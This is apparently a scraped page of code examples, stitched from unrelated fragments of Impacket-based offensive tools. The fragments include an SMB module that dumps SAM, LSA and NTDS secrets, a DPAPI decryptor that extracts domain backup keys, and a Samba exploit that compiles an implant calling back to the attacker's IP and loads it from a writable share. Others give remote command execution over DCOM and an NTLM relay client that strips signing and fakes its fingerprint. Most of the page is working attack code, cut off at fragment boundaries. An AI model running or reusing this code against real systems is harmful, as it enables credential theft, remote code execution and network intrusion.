                            logger.highlight(line.strip())

                    elif not args.mssql:

                        if connection.admin_privs and (args.sam or args.lsa
                                                       or args.ntds):
                            secrets_dump = DumpSecrets(connection, logger)

                            if args.sam:
                                secrets_dump.SAM_dump()

                            if args.lsa:
                                secrets_dump.LSA_dump()

                            if args.ntds:
                                secrets_dump.NTDS_dump(args.ntds,
                                                       args.ntds_pwdLastSet,
                                                       args.ntds_history)

                        if connection.admin_privs and args.wdigest:
                            w_digest = WDIGEST(logger, connection.conn)

                            if args.wdigest == 'enable':
                                w_digest.enable()

                            elif args.wdigest == 'disable':
                                w_digest.disable()

                        if connection.admin_privs and args.uac:
                            UAC(connection.conn, logger).enum()

                        if args.spider:
                            spider = SMBSpider(logger, connection, args)
                            spider.spider(args.spider, args.depth)
                            spider.finish()

                        if args.enum_shares:
                            ShareEnum(connection.conn, logger).enum()

                        if args.enum_lusers or args.enum_disks or args.enum_sessions:
                            rpc_connection = RPCQUERY(connection, logger)

                            if args.enum_lusers:
                                rpc_connection.enum_lusers()

                            if args.enum_sessions:
                                rpc_connection.enum_sessions()

                            if args.enum_disks:
                                rpc_connection.enum_disks()

                        if args.pass_pol:
                            PassPolDump(logger, args.smb_port,
                                        connection).enum()

                        if args.enum_users:
                            SAMRDump(logger, args.smb_port, connection).enum()

                        if connection.admin_privs and args.wmi_query:
                            WMIQUERY(logger, connection,
                                     args.wmi_namespace).query(args.wmi_query)

                        if args.rid_brute:
                            LSALookupSid(logger, args.smb_port, connection,
                                         args.rid_brute).brute_force()

    except socket.error:
        return
Beispiel #43
0
    def run(self):
        if self.options.action.upper() == 'MASTERKEY':
            fp = open(options.file, 'rb')
            data = fp.read()
            mkf = MasterKeyFile(data)
            mkf.dump()
            data = data[len(mkf):]

            if mkf['MasterKeyLen'] > 0:
                mk = MasterKey(data[:mkf['MasterKeyLen']])
                data = data[len(mk):]

            if mkf['BackupKeyLen'] > 0:
                bkmk = MasterKey(data[:mkf['BackupKeyLen']])
                data = data[len(bkmk):]

            if mkf['CredHistLen'] > 0:
                ch = CredHist(data[:mkf['CredHistLen']])
                data = data[len(ch):]

            if mkf['DomainKeyLen'] > 0:
                dk = DomainKey(data[:mkf['DomainKeyLen']])
                data = data[len(dk):]

            if self.options.system and self.options.security and self.options.sid is None:
                # We have hives, let's try to decrypt with them
                self.getLSA()
                decryptedKey = mk.decrypt(self.dpapiSystem['UserKey'])
                if decryptedKey:
                    print('Decrypted key with UserKey')
                    print('Decrypted key: 0x%s' % decryptedKey.hex())
                    return
                decryptedKey = mk.decrypt(self.dpapiSystem['MachineKey'])
                if decryptedKey:
                    print('Decrypted key with MachineKey')
                    print('Decrypted key: 0x%s' % decryptedKey.hex())
                    return
                decryptedKey = bkmk.decrypt(self.dpapiSystem['UserKey'])
                if decryptedKey:
                    print('Decrypted Backup key with UserKey')
                    print('Decrypted key: 0x%s' % decryptedKey.hex())
                    return
                decryptedKey = bkmk.decrypt(self.dpapiSystem['MachineKey'])
                if decryptedKey:
                    print('Decrypted Backup key with MachineKey')
                    print('Decrypted key: 0x%s' % decryptedKey.hex())
                    return
            elif self.options.system and self.options.security:
                # Use SID + hash
                # We have hives, let's try to decrypt with them
                self.getLSA()
                key1, key2 = self.deriveKeysFromUserkey(
                    self.options.sid, self.dpapiSystem['UserKey'])
                decryptedKey = mk.decrypt(key1)
                if decryptedKey:
                    print('Decrypted key with UserKey + SID')
                    print('Decrypted key: 0x%s' % decryptedKey.hex())
                    return
                decryptedKey = bkmk.decrypt(key1)
                if decryptedKey:
                    print('Decrypted Backup key with UserKey + SID')
                    print('Decrypted key: 0x%s' % decryptedKey.hex())
                    return
                decryptedKey = mk.decrypt(key2)
                if decryptedKey:
                    print('Decrypted key with UserKey + SID')
                    print('Decrypted key: 0x%s' % decryptedKey.hex())
                    return
                decryptedKey = bkmk.decrypt(key2)
                if decryptedKey:
                    print('Decrypted Backup key with UserKey + SID')
                    print('Decrypted key: 0x%s' % decryptedKey.hex())
                    return
            elif self.options.key and self.options.sid:
                key = bytes.fromhex(self.options.key[2:])
                key1, key2 = self.deriveKeysFromUserkey(self.options.sid, key)
                decryptedKey = mk.decrypt(key1)
                if decryptedKey:
                    print('Decrypted key with key provided + SID')
                    print('Decrypted key: 0x%s' % decryptedKey.hex())
                    return
                decryptedKey = mk.decrypt(key2)
                if decryptedKey:
                    print('Decrypted key with key provided + SID')
                    print('Decrypted key: 0x%s' % decryptedKey.hex())
                    return
            elif self.options.key:
                key = bytes.fromhex(self.options.key[2:])
                decryptedKey = mk.decrypt(key)
                if decryptedKey:
                    print('Decrypted key with key provided')
                    print('Decrypted key: 0x%s' % decryptedKey.hex())
                    return

            elif self.options.pvk and dk:
                pvkfile = open(self.options.pvk, 'rb').read()
                key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):])
                private = privatekeyblob_to_pkcs1(key)
                cipher = PKCS1_v1_5.new(private)

                decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None)
                if decryptedKey:
                    domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(
                        decryptedKey)
                    key = domain_master_key[
                        'buffer'][:domain_master_key['cbMasterKey']]
                    print('Decrypted key with domain backup key provided')
                    print('Decrypted key: 0x%s' % key.hex())
                return

            elif self.options.sid and self.options.key is None:
                # Do we have a password?
                if self.options.password is None:
                    # Nope let's ask it
                    from getpass import getpass
                    password = getpass("Password:"******"Password:"******"Password:"******"G$BCKUPKEY_PREFERRED", "G$BCKUPKEY_P"):
                buffer = crypto.decryptSecret(
                    connection.getSessionKey(),
                    lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'],
                                                  keyname))
                guid = bin_to_string(buffer)
                name = "G$BCKUPKEY_{}".format(guid)
                secret = crypto.decryptSecret(
                    connection.getSessionKey(),
                    lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'],
                                                  name))
                keyVersion = struct.unpack('<L', secret[:4])[0]
                if keyVersion == 1:  # legacy key
                    backup_key = P_BACKUP_KEY(secret)
                    backupkey = backup_key['Data']
                    if self.options.export:
                        logging.debug(
                            "Exporting key to file {}".format(name + ".key"))
                        open(name + ".key", 'wb').write(backupkey)
                    else:
                        print("Legacy key:")
                        print("0x%s" % backupkey.hex())
                        print("\n")

                elif keyVersion == 2:  # preferred key
                    backup_key = PREFERRED_BACKUP_KEY(secret)
                    pvk = backup_key['Data'][:backup_key['KeyLength']]
                    cert = backup_key['Data'][
                        backup_key['KeyLength']:backup_key['KeyLength'] +
                        backup_key['CertificateLength']]

                    # build pvk header (PVK_MAGIC, PVK_FILE_VERSION_0, KeySpec, PVK_NO_ENCRYPT, 0, cbPvk)
                    header = PVK_FILE_HDR()
                    header['dwMagic'] = 0xb0b5f11e
                    header['dwVersion'] = 0
                    header['dwKeySpec'] = 1
                    header['dwEncryptType'] = 0
                    header['cbEncryptData'] = 0
                    header['cbPvk'] = backup_key['KeyLength']
                    backupkey_pvk = header.getData() + pvk  # pvk blob

                    backupkey = backupkey_pvk
                    if self.options.export:
                        logging.debug(
                            "Exporting certificate to file {}".format(name +
                                                                      ".der"))
                        open(name + ".der", 'wb').write(cert)
                        logging.debug(
                            "Exporting private key to file {}".format(name +
                                                                      ".pvk"))
                        open(name + ".pvk", 'wb').write(backupkey)
                    else:
                        print("Preferred key:")
                        header.dump()
                        print("PRIVATEKEYBLOB:{%s}" % backupkey.hex())
                        print("\n")
            return

        elif self.options.action.upper() == 'CREDENTIAL':
            fp = open(options.file, 'rb')
            data = fp.read()
            cred = CredentialFile(data)
            blob = DPAPI_BLOB(cred['Data'])

            if self.options.key is not None:
                key = bytes.fromhex(self.options.key[2:])
                decrypted = blob.decrypt(key)
                if decrypted is not None:
                    creds = CREDENTIAL_BLOB(decrypted)
                    creds.dump()
                    return
            else:
                # Just print the data
                blob.dump()

        elif self.options.action.upper() == 'VAULT':
            if options.vcrd is None and options.vpol is None:
                print(
                    'You must specify either -vcrd or -vpol parameter. Type --help for more info'
                )
                return
            if options.vcrd is not None:
                fp = open(options.vcrd, 'rb')
                data = fp.read()
                blob = VAULT_VCRD(data)

                if self.options.key is not None:
                    key = bytes.fromhex(self.options.key[2:])

                    cleartext = None
                    for i, entry in enumerate(blob.attributesLen):
                        if entry > 28:
                            attribute = blob.attributes[i]
                            if 'IV' in attribute.fields and len(
                                    attribute['IV']) == 16:
                                cipher = AES.new(key,
                                                 AES.MODE_CBC,
                                                 iv=attribute['IV'])
                            else:
                                cipher = AES.new(key, AES.MODE_CBC)
                            cleartext = cipher.decrypt(attribute['Data'])

                    if cleartext is not None:
                        # Lookup schema Friendly Name and print if we find one
                        if blob['FriendlyName'].decode(
                                'utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS:
                            # Found one. Cast it and print
                            vault = VAULT_KNOWN_SCHEMAS[
                                blob['FriendlyName'].decode('utf-16le')[:-1]](
                                    cleartext)
                            vault.dump()
                        else:
                            # otherwise
                            hexdump(cleartext)
                        return
                else:
                    blob.dump()

            elif options.vpol is not None:
                fp = open(options.vpol, 'rb')
                data = fp.read()
                vpol = VAULT_VPOL(data)
                vpol.dump()

                if self.options.key is not None:
                    key = bytes.fromhex(self.options.key[2:])
                    blob = vpol['Blob']
                    data = blob.decrypt(key)
                    if data is not None:
                        keys = VAULT_VPOL_KEYS(data)
                        keys.dump()
                        return
        elif self.options.action.upper() == 'UNPROTECT':
            fp = open(options.file, 'rb')
            data = fp.read()
            blob = DPAPI_BLOB(data)

            if self.options.key is not None:
                key = bytes.fromhex(self.options.key[2:])
                if self.options.entropy_file is not None:
                    fp2 = open(self.options.entropy_file, 'rb')
                    entropy = fp2.read()
                    fp2.close()
                elif self.options.entropy is not None:
                    entropy = self.options.entropy.encode()
                else:
                    entropy = None

                decrypted = blob.decrypt(key, entropy)
                if decrypted is not None:
                    print('Successfully decrypted data')
                    hexdump(decrypted)
                    return
            else:
                # Just print the data
                blob.dump()

        print('Cannot decrypt (specify -key or -sid whenever applicable) ')
Beispiel #44
0
class CSmbExploit:
  def __init__(self, options):
    self.hostname = options.host
    self.port = options.port
    self.sambaTarget = options.sambaTarget
    self.sambaPort = options.sambaPort
    self.module = options.module
    self.username = options.username
    self.sambaOld = options.sambaVersion
    self.noimplant = options.noimplant
    self.customBinary = options.customBinary
    
    if self.username is None:
      self.username = ""
    self.password = options.password
    if self.password is None:
      self.password = ""
    
    self.is_32bit = options.is_32
    self.shell = options.shell

    self.smb = None

  def load_module(self, module):
    if int(self.sambaOld) == 1:
	  module = '\\\PIPE\\' + module  
    
    log("Trying to load module %s" % module)
    stringbinding = r'ncacn_np:%s[\pipe\%s]' % (self.sambaTarget, module)
    sb = transport.DCERPCStringBinding(stringbinding)
    na = sb.get_network_address()
    rpctransport = transport.SMBTransport(na, filename = module, smb_connection = self.smb)
    dce = rpctransport.get_dce_rpc()

    try:
      dce.connect()
      return True
    except KeyboardInterrupt:
      print "Aborted."
      sys.exit(0)
    except:
      log("Error: %s" % str(sys.exc_info()[1]))
      return False

  def get_my_ip(self):
    return [ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1]

  def get_random_name(self, total=8):
    ret = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(total))
    return "%s.so" % ret

  def make_library(self):
	  
    if (int(self.noimplant)) or (len(self.customBinary) > 1) == 1:
      log("I will keep the current binaries. No need for new compilation.")
      return True
    
    if self.hostname is None:
      l = self.get_my_ip()
      if len(l) == 0:
        raise Exception("Cannot resolve local IP address!")

      self.hostname = l[0]

    with open("config.h", "wb") as f:
      f.write(CONFIG_H % (self.port, self.hostname, self.shell, self.sambaOld))

    log("Building libraries...")
    ret = os.system("make")
    return ret == 0

  def try_put(self, share_name, lib_name, real_file):
    with open(real_file, "rb") as f:
      try:
        self.smb.putFile(share_name[0], lib_name, f.read)
        return True
      except:
        log("Error copying file: %s" % str(sys.exc_info()[1]))

    return False

  def get_real_library_name(self):
    # XXX: TODO: Add support for non Intel based machines
    if self.is_32bit:
      return "libimplantx32.so"
    return "libimplantx64.so"

  def translate_smb_path(self, path):
    pos = path.find(":")
    if pos > -1:
      path = path[pos+1:]
      path = path.replace("\\", "/")
    return path

  def try_copy_library(self, lib_name):
    rpctransport = transport.SMBTransport(self.smb.getRemoteName(), self.smb.getRemoteHost(),
                                          filename=r'\srvsvc', smb_connection=self.smb)
    dce = rpctransport.get_dce_rpc()
    dce.connect()
    dce.bind(srvs.MSRPC_UUID_SRVS)
    resp = srvs.hNetrShareEnum(dce, 2)

    l = []
    ignore_shares = ["print$", "IPC$"]
    for share in resp['InfoStruct']['ShareInfo']['Level2']['Buffer']:
      share_name = share['shi2_netname'][:-1]
      share_path = self.translate_smb_path(share['shi2_path'][:-1])
      l.append([share_name, share_path])

    # Randomize the list of shares instead of going from the first to the last
    random.shuffle(l)
    
    if len(self.customBinary) < 1:
      real_file = self.get_real_library_name()
    else:
      real_file = self.customBinary
    
    log("Using  %s" % real_file)
    for share in l:
      log("Trying to copy library '%s' to share '%s'" % (lib_name, share))
      if self.try_put(share, lib_name, real_file):
        log("Done!")
        return share[1]

    return None

  def do_login(self):
    try:
      self.smb = SMBConnection(remoteName='*SMBSERVER', remoteHost=self.sambaTarget, sess_port=int(self.sambaPort))
      self.smb.login(user=self.username, password=self.password)
      if self.smb.isGuestSession():
        log("Using a GUEST session")
      return True
    except:
      log("Error logging into the Samba server: %s" % str(sys.exc_info()[1]))
      return False

  def exploit(self):
    
    if not self.make_library():
        log("Error building library:")
        return False
    
    log("Logging into the Samba server %s:%s" % (self.sambaTarget, self.sambaPort))
    if not self.do_login():
      log("Cannot log into the Samba server...")
      return False

    lib_name = self.get_random_name()
    
    if self.module is None:
      server_directory = self.try_copy_library(lib_name)
      log("Trying to copy random library %s" % lib_name)
      if server_directory is None:
        log("Unable to copy the payload to the target :(")
        return False
      
      self.module = "%s/%s" % (server_directory, lib_name)
    else:
      lib_name = self.module

    return self.load_module(self.module)
    def run(self, addr, silentCommand=False):
        if self.__noOutput is False and silentCommand is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            dispParams = DISPPARAMS(None, False)
            dispParams['rgvarg'] = NULL
            dispParams['rgdispidNamedArgs'] = NULL
            dispParams['cArgs'] = 0
            dispParams['cNamedArgs'] = 0

            if self.__dcomObject == 'ShellWindows':
                # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(
                    string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'),
                    IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Item', ))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams,
                                   0, [], [])
                iItem = IDispatch(
                    self.getInterface(
                        iMMC,
                        resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                resp = iItem.GetIDsOfNames(('Document', ))
                resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                    dispParams, 0, [], [])
                pQuit = None
            elif self.__dcomObject == 'ShellBrowserWindow':
                # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(
                    string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'),
                    IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document', ))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                   dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]
            elif self.__dcomObject == 'MMC20':
                iInterface = dcom.CoCreateInstanceEx(
                    string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'),
                    IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document', ))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                   dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]
            else:
                logging.fatal('Invalid object %s' % self.__dcomObject)
                return

            iDocument = IDispatch(
                self.getInterface(
                    iMMC,
                    resp['pVarResult']['_varUnion']['pdispVal']['abData']))

            if self.__dcomObject == 'MMC20':
                resp = iDocument.GetIDsOfNames(('ActiveView', ))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                        dispParams, 0, [], [])

                iActiveView = IDispatch(
                    self.getInterface(
                        iMMC,
                        resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(
                    ('ExecuteShellCommand', ))[0]
                self.shell = RemoteShellMMC20(
                    self.__share, (iMMC, pQuit),
                    (iActiveView, pExecuteShellCommand), smbConnection,
                    silentCommand)
            else:
                resp = iDocument.GetIDsOfNames(('Application', ))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                        dispParams, 0, [], [])

                iActiveView = IDispatch(
                    self.getInterface(
                        iMMC,
                        resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(
                    ('ShellExecute', ))[0]
                self.shell = RemoteShell(self.__share, (iMMC, pQuit),
                                         (iActiveView, pExecuteShellCommand),
                                         smbConnection, silentCommand)

            if self.__command != ' ':
                try:
                    self.shell.onecmd(self.__command)
                except TypeError:
                    if not silentCommand:
                        raise
                if self.shell is not None:
                    self.shell.do_exit('')
            else:
                self.shell.cmdloop()
        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            if self.shell is not None:
                self.shell.do_exit('')
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)

        if smbConnection is not None:
            smbConnection.logoff()
        dcom.disconnect()
Beispiel #46
0
class SMBRelayClient(ProtocolClient):
    PLUGIN_NAME = "SMB"

    def __init__(self,
                 serverConfig,
                 target,
                 targetPort=445,
                 extendedSecurity=True):
        ProtocolClient.__init__(self, serverConfig, target, targetPort,
                                extendedSecurity)
        self.extendedSecurity = extendedSecurity

        self.domainIp = None
        self.machineAccount = None
        self.machineHashes = None
        self.sessionData = {}

        self.keepAliveHits = 1

    def keepAlive(self):
        # SMB Keep Alive more or less every 5 minutes
        if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
            # Time to send a packet
            # Just a tree connect / disconnect to avoid the session timeout
            tid = self.session.connectTree('IPC$')
            self.session.disconnectTree(tid)
            self.keepAliveHits = 1
        else:
            self.keepAliveHits += 1

    def killConnection(self):
        if self.session is not None:
            self.session.close()
            self.session = None

    def initConnection(self):
        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     manualNegotiate=True)
        #,preferredDialect=SMB_DIALECT)
        if self.serverConfig.smb2support is True:
            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        else:
            data = '\x02NT LM 0.12\x00'

        if self.extendedSecurity is True:
            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        else:
            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        try:
            packet = self.session.negotiateSessionWildcard(
                None,
                self.targetHost,
                self.targetHost,
                self.targetPort,
                60,
                self.extendedSecurity,
                flags1=SMB.FLAGS1_PATHCASELESS
                | SMB.FLAGS1_CANONICALIZED_PATHS,
                flags2=flags2,
                data=data)
        except socketerror as e:
            if 'reset by peer' in str(e):
                if not self.serverConfig.smb2support:
                    LOG.error(
                        'SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support'
                    )
                else:
                    LOG.error('SMBCLient error: Connection was reset')
            else:
                LOG.error('SMBCLient error: %s' % str(e))
            return False
        if packet[0] == '\xfe':
            smbClient = MYSMB3(self.targetHost,
                               self.targetPort,
                               self.extendedSecurity,
                               nmbSession=self.session.getNMBServer(),
                               negPacket=packet)
        else:
            # Answer is SMB packet, sticking to SMBv1
            smbClient = MYSMB(self.targetHost,
                              self.targetPort,
                              self.extendedSecurity,
                              nmbSession=self.session.getNMBServer(),
                              negPacket=packet)

        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     existingConnection=smbClient,
                                     manualNegotiate=True)

        return True

    def setUid(self, uid):
        self._uid = uid

    def sendNegotiate(self, negotiateMessage):
        negotiate = NTLMAuthNegotiate()
        negotiate.fromString(negotiateMessage)
        #Remove the signing flag
        negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge

        return challenge

    def sendNegotiatev2(self, negotiateMessage):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        # Let's build a NegTokenInit with the NTLMSSP
        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [
            TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
        ]
        blob['MechToken'] = str(negotiateMessage)

        sessionSetup['SecurityBufferLength'] = len(blob)
        sessionSetup['Buffer'] = blob.getData()

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        packetID = v2client.sendSMB(packet)
        ans = v2client.recvSMB(packetID)
        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
            v2client._Session['SessionID'] = ans['SessionID']
            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
            respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
            return respToken['ResponseToken']

        return False

    def sendNegotiatev1(self, negotiateMessage):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
            smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize'] = 65535
        sessionSetup['Parameters']['MaxMpxCount'] = 2
        sessionSetup['Parameters']['VcNumber'] = 1
        sessionSetup['Parameters']['SessionKey'] = 0
        sessionSetup['Parameters'][
            'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Let's build a NegTokenInit with the NTLMSSP
        # TODO: In the future we should be able to choose different providers

        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [
            TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
        ]
        blob['MechToken'] = str(negotiateMessage)

        sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
        sessionSetup['Parameters'].getData()
        sessionSetup['Data']['SecurityBlob'] = blob.getData()

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS'] = 'Unix'
        sessionSetup['Data']['NativeLanMan'] = 'Samba'

        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)
        smb = v1client.recvSMB()

        try:
            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
        except Exception:
            LOG.error("SessionSetup Error!")
            raise
        else:
            # We will need to use this uid field for all future requests/responses
            v1client.set_uid(smb['Uid'])

            # Now we have to extract the blob to continue the auth process
            sessionResponse = SMBCommand(smb['Data'][0])
            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(
                sessionResponse['Parameters'])
            sessionData = SMBSessionSetupAndX_Extended_Response_Data(
                flags=smb['Flags2'])
            sessionData['SecurityBlobLength'] = sessionParameters[
                'SecurityBlobLength']
            sessionData.fromString(sessionResponse['Data'])
            respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])

            return respToken['ResponseToken']

    def sendStandardSecurityAuth(self, sessionSetupData):
        v1client = self.session.getSMBServer()
        flags2 = v1client.get_flags()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
        if sessionSetupData['Account'] != '':
            smb = NewSMBPacket()
            smb['Flags1'] = 8

            sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
            sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
            sessionSetup['Data'] = SMBSessionSetupAndX_Data()

            sessionSetup['Parameters']['MaxBuffer'] = 65535
            sessionSetup['Parameters']['MaxMpxCount'] = 2
            sessionSetup['Parameters']['VCNumber'] = os.getpid()
            sessionSetup['Parameters'][
                'SessionKey'] = v1client._dialects_parameters['SessionKey']
            sessionSetup['Parameters']['AnsiPwdLength'] = len(
                sessionSetupData['AnsiPwd'])
            sessionSetup['Parameters']['UnicodePwdLength'] = len(
                sessionSetupData['UnicodePwd'])
            sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE

            sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
            sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
            sessionSetup['Data']['Account'] = str(sessionSetupData['Account'])
            sessionSetup['Data']['PrimaryDomain'] = str(
                sessionSetupData['PrimaryDomain'])
            sessionSetup['Data']['NativeOS'] = 'Unix'
            sessionSetup['Data']['NativeLanMan'] = 'Samba'

            smb.addCommand(sessionSetup)

            v1client.sendSMB(smb)
            smb = v1client.recvSMB()
            try:
                smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
            except:
                return None, STATUS_LOGON_FAILURE
            else:
                v1client.set_uid(smb['Uid'])
                return smb, STATUS_SUCCESS
        else:
            # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
            clientResponse = None
            errorCode = STATUS_ACCESS_DENIED

        return clientResponse, errorCode

    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B',
                  str(authenticateMessageBlob)
                  [:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            # We need to wrap the NTLMSSP into SPNEGO
            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = str(authenticateMessageBlob)
            authData = respToken2.getData()
        else:
            authData = str(authenticateMessageBlob)

        if self.session.getDialect() == SMB_DIALECT:
            token, errorCode = self.sendAuthv1(authData, serverChallenge)
        else:
            token, errorCode = self.sendAuthv2(authData, serverChallenge)
        return token, errorCode

    def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        # Reusing the previous structure
        sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
        sessionSetup['Buffer'] = authenticateMessageBlob

        packetID = v2client.sendSMB(packet)
        packet = v2client.recvSMB(packetID)

        return packet, packet['Status']

    def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
            smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
        smb['Uid'] = v1client.get_uid()

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize'] = 65535
        sessionSetup['Parameters']['MaxMpxCount'] = 2
        sessionSetup['Parameters']['VcNumber'] = 1
        sessionSetup['Parameters']['SessionKey'] = 0
        sessionSetup['Parameters'][
            'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS'] = 'Unix'
        sessionSetup['Data']['NativeLanMan'] = 'Samba'

        sessionSetup['Parameters']['SecurityBlobLength'] = len(
